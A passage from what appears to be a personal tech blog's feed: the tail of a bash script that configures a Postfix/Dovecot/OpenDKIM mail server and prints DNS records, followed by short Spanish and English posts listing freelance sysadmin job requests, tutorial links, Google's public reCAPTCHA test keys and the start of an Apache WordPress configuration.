</span></span><span style="display:flex;"><span><span style="color:#66d9ef">esac</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mkdir /var/lib/dovecot/sieve/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"require [\"fileinto\", \"mailbox\"];
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">if header :contains \"X-Spam-Flag\" \"YES\"
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> fileinto \"Junk\";
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> }"</span> > /var/lib/dovecot/sieve/default.sieve
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>grep -q <span style="color:#e6db74">'^vmail:'</span> /etc/passwd <span style="color:#f92672">||</span> useradd vmail
</span></span><span style="display:flex;"><span>chown -R vmail:vmail /var/lib/dovecot
</span></span><span style="display:flex;"><span>sievec /var/lib/dovecot/sieve/default.sieve
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">'Preparing user authentication...'</span>
</span></span><span style="display:flex;"><span>grep -q nullok /etc/pam.d/dovecot <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">'auth required pam_unix.so nullok
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">account required pam_unix.so'</span> >> /etc/pam.d/dovecot
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># OpenDKIM</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># A lot of the big name email services, like Google, will automatically reject</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># as spam unfamiliar and unauthenticated email addresses. As in, the server</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># will flatly reject the email, not even delivering it to someone's Spam</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># folder.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># OpenDKIM is a way to authenticate your email so you can send to such services</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># without a problem.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Create an OpenDKIM key in the proper place with proper permissions.</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">'Generating OpenDKIM keys...'</span>
</span></span><span style="display:flex;"><span>mkdir -p <span style="color:#e6db74">"/etc/postfix/dkim/</span>$domain<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>opendkim-genkey -D <span style="color:#e6db74">"/etc/postfix/dkim/</span>$domain<span style="color:#e6db74">"</span> -d <span style="color:#e6db74">"</span>$domain<span style="color:#e6db74">"</span> -s <span style="color:#e6db74">"</span>$subdom<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>chgrp -R opendkim /etc/postfix/dkim/*
</span></span><span style="display:flex;"><span>chmod -R g+r /etc/postfix/dkim/*
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Generate the OpenDKIM info:</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">'Configuring OpenDKIM...'</span>
</span></span><span style="display:flex;"><span>grep -q <span style="color:#e6db74">"</span>$domain<span style="color:#e6db74">"</span> /etc/postfix/dkim/keytable 2>/dev/null <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"</span>$subdom<span style="color:#e6db74">._domainkey.</span>$domain<span style="color:#e6db74"> </span>$domain<span style="color:#e6db74">:</span>$subdom<span style="color:#e6db74">:/etc/postfix/dkim/</span>$domain<span style="color:#e6db74">/</span>$subdom<span style="color:#e6db74">.private"</span> >> /etc/postfix/dkim/keytable
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>grep -q <span style="color:#e6db74">"</span>$domain<span style="color:#e6db74">"</span> /etc/postfix/dkim/signingtable 2>/dev/null <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"*@</span>$domain<span style="color:#e6db74"> </span>$subdom<span style="color:#e6db74">._domainkey.</span>$domain<span style="color:#e6db74">"</span> >> /etc/postfix/dkim/signingtable
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>grep -q <span style="color:#e6db74">'127.0.0.1'</span> /etc/postfix/dkim/trustedhosts 2>/dev/null <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">'127.0.0.1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">10.1.0.0/16'</span> >> /etc/postfix/dkim/trustedhosts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># ...and source it from opendkim.conf</span>
</span></span><span style="display:flex;"><span>grep -q <span style="color:#e6db74">'^KeyTable'</span> /etc/opendkim.conf 2>/dev/null <span style="color:#f92672">||</span> echo <span style="color:#e6db74">'KeyTable file:/etc/postfix/dkim/keytable
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SigningTable refile:/etc/postfix/dkim/signingtable
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">InternalHosts refile:/etc/postfix/dkim/trustedhosts'</span> >> /etc/opendkim.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sed -i <span style="color:#e6db74">'/^#Canonicalization/s/simple/relaxed\/simple/'</span> /etc/opendkim.conf
</span></span><span style="display:flex;"><span>sed -i <span style="color:#e6db74">'/^#Canonicalization/s/^#//'</span> /etc/opendkim.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sed -i <span style="color:#e6db74">'/Socket/s/^#*/#/'</span> /etc/opendkim.conf
</span></span><span style="display:flex;"><span>grep -q <span style="color:#e6db74">'^Socket\s*inet:12301@localhost'</span> /etc/opendkim.conf <span style="color:#f92672">||</span> echo <span style="color:#e6db74">'Socket inet:12301@localhost'</span> >> /etc/opendkim.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># OpenDKIM daemon settings, removing previously activated socket.</span>
</span></span><span style="display:flex;"><span>sed -i <span style="color:#e6db74">'/^SOCKET/d'</span> /etc/default/opendkim <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"SOCKET=\"inet:12301@localhost\""</span> >> /etc/default/opendkim
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Here we add to postconf the needed settings for working with OpenDKIM</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">'Configuring Postfix with OpenDKIM settings...'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_sasl_security_options = noanonymous, noplaintext'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_sasl_tls_security_options = noanonymous'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">"myhostname = </span>$maildomain<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'milter_default_action = accept'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'milter_protocol = 6'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_milters = inet:localhost:12301'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'non_smtpd_milters = inet:localhost:12301'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'mailbox_command = /usr/lib/dovecot/deliver'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Long-term fix to prevent SMTP smuggling</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_forbid_bare_newline = normalize'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_forbid_bare_newline_exclusions = $mynetworks'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># A fix for "Opendkim won't start: can't open PID file?", as specified here: https://serverfault.com/a/847442</span>
</span></span><span style="display:flex;"><span>/lib/opendkim/opendkim.service.generate
</span></span><span style="display:flex;"><span>systemctl daemon-reload
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Enable fail2ban security for dovecot and postfix.</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span> ! -f /etc/fail2ban/jail.d/emailwiz.local <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"[postfix]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">enabled = true
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[postfix-sasl]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">enabled = true
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[sieve]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">enabled = true
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[dovecot]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">enabled = true"</span> > /etc/fail2ban/jail.d/emailwiz.local
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sed -i <span style="color:#e6db74">"s|^backend = auto</span>$<span style="color:#e6db74">|backend = systemd|"</span> /etc/fail2ban/jail.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Enable SpamAssassin update cronjob.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -f /etc/default/spamassassin <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> sed -i <span style="color:#e6db74">"s|^CRON=0|CRON=1|"</span> /etc/default/spamassassin
</span></span><span style="display:flex;"><span> printf <span style="color:#e6db74">"Restarting spamassassin..."</span>
</span></span><span style="display:flex;"><span> service spamassassin restart <span style="color:#f92672">&&</span> printf <span style="color:#e6db74">" ...done\\n"</span>
</span></span><span style="display:flex;"><span> systemctl enable spamassassin
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">elif</span> <span style="color:#f92672">[</span> -f /etc/default/spamd <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> sed -i <span style="color:#e6db74">"s|^CRON=0|CRON=1|"</span> /etc/default/spamd
</span></span><span style="display:flex;"><span> printf <span style="color:#e6db74">"Restarting spamd..."</span>
</span></span><span style="display:flex;"><span> service spamd restart <span style="color:#f92672">&&</span> printf <span style="color:#e6db74">" ...done\\n"</span>
</span></span><span style="display:flex;"><span> systemctl enable spamd
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> printf <span style="color:#e6db74">"!!! Neither /etc/default/spamassassin or /etc/default/spamd exists, this is unexpected and needs to be investigated"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> x in opendkim dovecot postfix fail2ban; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> printf <span style="color:#e6db74">"Restarting %s..."</span> <span style="color:#e6db74">"</span>$x<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> service <span style="color:#e6db74">"</span>$x<span style="color:#e6db74">"</span> restart <span style="color:#f92672">&&</span> printf <span style="color:#e6db74">" ...done\\n"</span>
</span></span><span style="display:flex;"><span> systemctl enable <span style="color:#e6db74">"</span>$x<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pval<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#66d9ef">$(</span>tr -d <span style="color:#e6db74">'\n'</span> <<span style="color:#e6db74">"/etc/postfix/dkim/</span>$domain<span style="color:#e6db74">/</span>$subdom<span style="color:#e6db74">.txt"</span> | sed <span style="color:#e6db74">"s/k=rsa.* \"p=/k=rsa; p=/;s/\"\s*\"//;s/\"\s*).*//"</span> | grep -o <span style="color:#e6db74">'p=.*'</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>dkimentry<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$subdom<span style="color:#e6db74">._domainkey.</span>$domain<span style="color:#e6db74"> TXT v=DKIM1; k=rsa; </span>$pval<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>dmarcentry<span style="color:#f92672">=</span><span style="color:#e6db74">"_dmarc.</span>$domain<span style="color:#e6db74"> TXT v=DMARC1; p=reject; rua=mailto:postmaster@</span>$domain<span style="color:#e6db74">; fo=1"</span>
</span></span><span style="display:flex;"><span>spfentry<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$domain<span style="color:#e6db74"> TXT v=spf1 mx a:</span>$maildomain<span style="color:#e6db74"> ip4:</span>$ipv4<span style="color:#e6db74"> ip6:</span>$ipv6<span style="color:#e6db74"> -all"</span>
</span></span><span style="display:flex;"><span>mxentry<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$domain<span style="color:#e6db74"> MX 10 </span>$maildomain<span style="color:#e6db74"> 300"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>useradd -m -G mail postmaster
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Create a cronjob that deletes month-old postmaster mails:</span>
</span></span><span style="display:flex;"><span>cat <span style="color:#e6db74"><<EOF > /etc/cron.weekly/postmaster-clean
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">find /home/postmaster/Mail -type f -mtime +30 -name '*.mail*' -delete >/dev/null 2>&1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">exit 0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">EOF</span>
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">755</span> /etc/cron.weekly/postmaster-clean
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>grep -q <span style="color:#e6db74">'^deploy-hook = echo "$RENEWED_DOMAINS" | grep -q'</span> /etc/letsencrypt/cli.ini <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">deploy-hook = echo \"\$RENEWED_DOMAINS\" | grep -q '</span>$maildomain<span style="color:#e6db74">' && service postfix reload && service dovecot reload"</span> >> /etc/letsencrypt/cli.ini
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"NOTE: Elements in the entries might appear in a different order in your registrar's DNS settings.
</span></span></span><span style="display:flex;"><span>$dkimentry<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span>$dmarcentry<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span>$spfentry<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span>$mxentry<span style="color:#e6db74">"</span> > <span style="color:#e6db74">"</span>$HOME<span style="color:#e6db74">/dns_emailwizard"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>printf <span style="color:#e6db74">"\033[31m
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> _ _
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">| \ | | _____ ___
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">| \| |/ _ \ \ /\ / (_)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">| |\ | (_) \ V V / _
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">|_| \_|\___/ \_/\_/ (_)\033[0m
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Add these three records to your DNS TXT records on either your registrar's site
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">or your DNS server:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">\033[32m
</span></span></span><span style="display:flex;"><span>$dkimentry<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span>$dmarcentry<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span>$spfentry<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span>$mxentry<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">\033[0m
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">NOTE: You may need to omit the \`.</span>$domain<span style="color:#e6db74">\` portion at the beginning if
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">inputting them in a registrar's web interface.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Also, these are now saved to \033[34m~/dns_emailwizard\033[0m in case you want them in a file.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Once you do that, you're done! Check the README for how to add users/accounts
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">and how to log in.\n"</span>
</span></span></code></pre></div><p><a href="https://www.youtube.com/watch?v=9H_kz71MGwE">https://www.youtube.com/watch?v=9H_kz71MGwE</a></p>
-
Docker Expert Needed for Indexhibit Setup
https://imlauera.github.io/post/docker_indexhibit/
Tue, 24 Sep 2024 00:31:05 -0300
https://imlauera.github.io/post/docker_indexhibit/
<p>Looking for someone to help set up and run Indexhibit within a Docker (docker compose) environment. The ideal candidate should have experience with Docker deployment and familiarity with Indexhibit.
<a href="https://forum.indexhibit.org/tutorials/getting-started/installation/">https://forum.indexhibit.org/tutorials/getting-started/installation/</a>
Got basic php/mysql docker up and running. can install indexhibit, but file upload does not work. The file gets uploaded but the entry doesn’t get written to the database.
Running it on a (non-docker) regular install everything works fine.</p>
<p>Have docker-compose.yml I can share</p>
-
Gitlab auto deployment
https://imlauera.github.io/post/gitlab_auto_deployment/
Tue, 24 Sep 2024 00:01:02 -0300
https://imlauera.github.io/post/gitlab_auto_deployment/
<blockquote>
<p>Need CI/CD pipeline to deploy the code on merge request approval on target server. The Target sever is running Ubuntu. On every deployment the code need to be updated on the server , npm update , PM2 restart the node or start after purging the existing logs.</p>
</blockquote>
<p>configure the GIT to send email on pipeline success.</p>
<p>NOTE: Git branch are specific to a server ( DEV or QA ) Etc.</p>
-
Amazon s3 y CLI
https://imlauera.github.io/post/amazon_s3/
Mon, 23 Sep 2024 21:50:37 -0300
https://imlauera.github.io/post/amazon_s3/
<p>Amazon S3 (Simple Storage Service) es un servicio de almacenamiento de objetos en la nube que permite a los usuarios almacenar y recuperar cualquier cantidad de datos desde cualquier ubicación, ofreciendo alta durabilidad, disponibilidad y escalabilidad a un costo reducido.</p>
<blockquote>
<p>Hello, looking for a talented system admin who knows AWS S3 management who can help us remove files that are no longer in use from our S3 buckets. Our current monthly AWS bill needs to drop considerably.</p>
-
Gitlab send reports email
https://imlauera.github.io/post/gitlab_send_reports_email/
Mon, 23 Sep 2024 20:38:26 -0300
https://imlauera.github.io/post/gitlab_send_reports_email/
<p>Mailgun = 10.000 correos gratuitos por mes sin tener que ingresar la tarjeta de crédito.</p>
<p>Create la cuenta en mailgun > settings > api key.</p>
<p>Copiá la private key apretá ojito y copiala y usala en gitlab.</p>
<p>En gitlab > settings > CI/CD > variables > expand</p>
<p>El nombre lo podes definir como quieras en mi caso lo definí así</p>
<p>para la api_key el nombre de la variable será MAILGUN_API_KEY</p>
-
IndexedDB
https://imlauera.github.io/post/indexeddb/
Mon, 23 Sep 2024 18:20:16 -0300
https://imlauera.github.io/post/indexeddb/
<p><a href="https://www.youtube.com/watch?v=-AzFQN9Vp7k">https://www.youtube.com/watch?v=-AzFQN9Vp7k</a></p>
<p><a href="https://www.youtube.com/watch?v=yZ26CXny3iI">https://www.youtube.com/watch?v=yZ26CXny3iI</a></p>
<p><a href="https://www.youtube.com/watch?v=kImH1afFRNk">https://www.youtube.com/watch?v=kImH1afFRNk</a></p>
<p><a href="https://www.youtube.com/watch?v=z3jeE0o-Pwo">https://www.youtube.com/watch?v=z3jeE0o-Pwo</a></p>
<blockquote>
<p>I have a small task which has Indexed DB involved. The code is present but needs some changes to variables and structure. Need a freelancer who is familiar with IndexedDB.</p>
</blockquote>
-
Swagger
https://imlauera.github.io/post/swagger/
Mon, 23 Sep 2024 17:42:31 -0300
https://imlauera.github.io/post/swagger/
<p><a href="https://www.youtube.com/watch?v=dhMlXoTD3mQ">https://www.youtube.com/watch?v=dhMlXoTD3mQ</a></p>
<p><a href="https://www.youtube.com/watch?v=4sR77vaEhy8">https://www.youtube.com/watch?v=4sR77vaEhy8</a></p>
<p><a href="https://www.youtube.com/watch?v=zINJ21OFJEQ">https://www.youtube.com/watch?v=zINJ21OFJEQ</a></p>
-
Proxmox
https://imlauera.github.io/post/proxmox/
Mon, 23 Sep 2024 17:17:56 -0300
https://imlauera.github.io/post/proxmox/
<p><a href="https://www.youtube.com/watch?v=_u8qTN3cCnQ">https://www.youtube.com/watch?v=_u8qTN3cCnQ</a></p>
-
Ssl_wordpress
https://imlauera.github.io/post/ssl_wordpress/
Mon, 23 Sep 2024 17:12:08 -0300
https://imlauera.github.io/post/ssl_wordpress/
<p>Dear
I need ssl expert to fix my sites</p>
<p>I have essential wild card ssl from namecheap that I am using on my 3 sites
Today all 3 sites showing this website is dangerous
although SSL is still active .
And the 3 sites each on different server</p>
<p>I need this to be fixed asap</p>
<p><a href="https://m.youtube.com/watch?v=F16FJkxA9yk&pp=ygUNd29yZHByZXNzIHNzbA%3D%3D">https://m.youtube.com/watch?v=F16FJkxA9yk&pp=ygUNd29yZHByZXNzIHNzbA%3D%3D</a></p>
<p><a href="https://www.youtube.com/watch?v=F16FJkxA9yk">https://www.youtube.com/watch?v=F16FJkxA9yk</a></p>
<p><a href="https://www.youtube.com/watch?v=0EyVfeJCOks">https://www.youtube.com/watch?v=0EyVfeJCOks</a></p>
<p><a href="https://www.youtube.com/watch?v=jAhJDHYQuqw">https://www.youtube.com/watch?v=jAhJDHYQuqw</a></p>
<p><a href="https://www.youtube.com/watch?v=1-mwEqVXG3g">https://www.youtube.com/watch?v=1-mwEqVXG3g</a></p>
<p><a href="https://www.youtube.com/watch?v=CxP-ioByqDk">https://www.youtube.com/watch?v=CxP-ioByqDk</a></p>
<p><a href="https://www.youtube.com/watch?v=C-f8VPzpP2U">https://www.youtube.com/watch?v=C-f8VPzpP2U</a></p>
<p><a href="https://www.youtube.com/watch?v=pMq_QpfumMg">https://www.youtube.com/watch?v=pMq_QpfumMg</a></p>
<p><a href="https://www.youtube.com/watch?v=tGjhA8hwRDA">https://www.youtube.com/watch?v=tGjhA8hwRDA</a></p>
<p><a href="https://www.youtube.com/watch?v=VymFe8kAncs">https://www.youtube.com/watch?v=VymFe8kAncs</a></p>
<p><a href="https://www.youtube.com/watch?v=eTk3JC247fk">https://www.youtube.com/watch?v=eTk3JC247fk</a></p>
<p>Lifetime ssl: <a href="https://www.youtube.com/watch?v=Ucb3vGz4QTU">https://www.youtube.com/watch?v=Ucb3vGz4QTU</a></p>
-
Godaddy: instalar ssl
https://imlauera.github.io/post/godaddy_ssl/
Mon, 23 Sep 2024 17:06:21 -0300
https://imlauera.github.io/post/godaddy_ssl/
<p><a href="https://www.youtube.com/watch?v=65v3tB1zBIY">https://www.youtube.com/watch?v=65v3tB1zBIY</a></p>
<p><a href="https://www.youtube.com/watch?v=Vzm8RCjck3M">https://www.youtube.com/watch?v=Vzm8RCjck3M</a></p>
<p><a href="https://www.youtube.com/watch?v=srBU8EbazbA">https://www.youtube.com/watch?v=srBU8EbazbA</a></p>
<p><a href="https://www.youtube.com/watch?v=uNdYea6OCuA">https://www.youtube.com/watch?v=uNdYea6OCuA</a></p>
<p><a href="https://www.youtube.com/watch?v=0gss-7agxbA">https://www.youtube.com/watch?v=0gss-7agxbA</a></p>
<p><a href="https://www.youtube.com/watch?v=xxujDtx0__0">https://www.youtube.com/watch?v=xxujDtx0__0</a></p>
<p><a href="https://www.youtube.com/watch?v=m_RCdTMVdDg">https://www.youtube.com/watch?v=m_RCdTMVdDg</a></p>
-
Recaptcha_testing_keys
https://imlauera.github.io/post/recaptcha_testing_keys/
Mon, 23 Sep 2024 16:53:28 -0300
https://imlauera.github.io/post/recaptcha_testing_keys/
<p>Site Key: <code>6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI</code>
Secret Key: <code>6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe</code></p>
-
Dns cloudflare
https://imlauera.github.io/post/dns_cloudflare/
Mon, 23 Sep 2024 16:46:13 -0300
https://imlauera.github.io/post/dns_cloudflare/
<p><a href="https://www.youtube.com/watch?v=XQKkb84EjNQ">https://www.youtube.com/watch?v=XQKkb84EjNQ</a></p>
<p><a href="https://www.youtube.com/watch?v=IXpvUD5SDzA">https://www.youtube.com/watch?v=IXpvUD5SDzA</a></p>
<p><a href="https://www.youtube.com/watch?v=9vaiZQtL9lQ">https://www.youtube.com/watch?v=9vaiZQtL9lQ</a></p>
<p><a href="https://www.youtube.com/watch?v=M-wxorxYVNs">https://www.youtube.com/watch?v=M-wxorxYVNs</a></p>
<p>Ingresá cloudflare, add site, ingresa dominio, free, determina tu registrar con whois, entrá a la cuenta de administrador de tu dominio, eliminá los servidores de dns que tiene, y reemplazalos por el de cloudflare.
Con .edu.ar lo tuve que hacer en riu.edu.ar, luego dale a done check nameservers.</p>
<p>get started > desactivá automatic https rewrites y al resto dejá como está, ahora dale next y check dns</p>
-
Instalar ssl certificado
https://imlauera.github.io/post/instalar_ssl_certificado/
Mon, 23 Sep 2024 16:29:34 -0300
https://imlauera.github.io/post/instalar_ssl_certificado/
<p>I am seeking an experienced freelancer to assist with generating .ssl and .pem files for my project. The ideal candidate should have a strong background in SSL certificate management and familiarity with cryptographic concepts. Your expertise will help ensure secure communication for our applications. If you have previous experience with SSL file generation and can provide guidance or complete the task, please apply with your relevant experience. Collaboration and clear communication are essential for this role.</p>
-
Php mantis bug tracker
https://imlauera.github.io/post/php_mantis_bug_tracker/
Mon, 23 Sep 2024 00:47:59 -0300
https://imlauera.github.io/post/php_mantis_bug_tracker/
<p><a href="https://invidious.materialio.us/search?q=php+mantis+bug+tracker">https://invidious.materialio.us/search?q=php+mantis+bug+tracker</a></p>
-
Aws lightsail
https://imlauera.github.io/post/aws_lightsail/
Mon, 23 Sep 2024 00:11:10 -0300
https://imlauera.github.io/post/aws_lightsail/
<p><a href="https://www.youtube.com/watch?v=FRg0oBCxk40">https://www.youtube.com/watch?v=FRg0oBCxk40</a></p>
-
Httpsportal
https://imlauera.github.io/post/httpsportal/
Mon, 23 Sep 2024 00:05:18 -0300
https://imlauera.github.io/post/httpsportal/
<p><a href="https://josejuansanchez.org/iaw/practica-https-docker/index.html">https://josejuansanchez.org/iaw/practica-https-docker/index.html</a></p>
<h4 id="qué-es-https-portal">¿Qué es HTTPS-PORTAL?</h4>
<p>HTTPS-PORTAL es una imagen Docker que contiene un servidor HTTPS totalmente automatizado que hace uso de las tecnologías Nginx y Let’s Enctrypt. Los certificados SSL se obtienen y renuevan de Let’s Encrypt automáticamente.</p>
<p>Esta imagen está preparada para permitir que cualquier aplicación web pueda ejecutarse a través de HTTPS con una configuración muy sencilla.</p>
<p>Puede encontrar más información sobre HTTPS-PORTAL en la web oficial de Docker Hub.</p>
-
Docker Compose Apache2 Php5 Mysql Phpmyadmin
https://imlauera.github.io/post/docker-compose-apache2-php5-mysql-phpmyadmin/
Sun, 22 Sep 2024 23:46:59 -0300
https://imlauera.github.io/post/docker-compose-apache2-php5-mysql-phpmyadmin/
<p><a href="https://github.com/juanmzaragoza/docker-compose-apache2-php5-mysql-phpmyadmin">https://github.com/juanmzaragoza/docker-compose-apache2-php5-mysql-phpmyadmin</a></p>
-
Apache wordpress
https://imlauera.github.io/post/apache_wordpress/
Sun, 22 Sep 2024 21:46:26 -0300
https://imlauera.github.io/post/apache_wordpress/
<p><a href="https://www.learnlinux.tv/how-set-up-an-awesome-wordpress-blog-on-ubuntu-22-04/">https://www.learnlinux.tv/how-set-up-an-awesome-wordpress-blog-on-ubuntu-22-04/</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install apache2
</span></span></code></pre></div><p>En el archivo</p>
<p>sudo vim <code>/etc/apache2/sites-available/wordpress.conf</code> (mejor editá el 000-default.conf) porque cualquier imagen php de docker por defecto lee ese archivo.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><VirtualHost *:80>
</span></span><span style="display:flex;"><span> DocumentRoot /var/www/wordpress
</span></span><span style="display:flex;"><span> <Directory /var/www/wordpress>
</span></span><span style="display:flex;"><span> Options FollowSymLinks
</span></span><span style="display:flex;"><span> AllowOverride Limit Options FileInfo
</span></span><span style="display:flex;"><span> DirectoryIndex index.php
</span></span><span style="display:flex;"><span> Require all granted
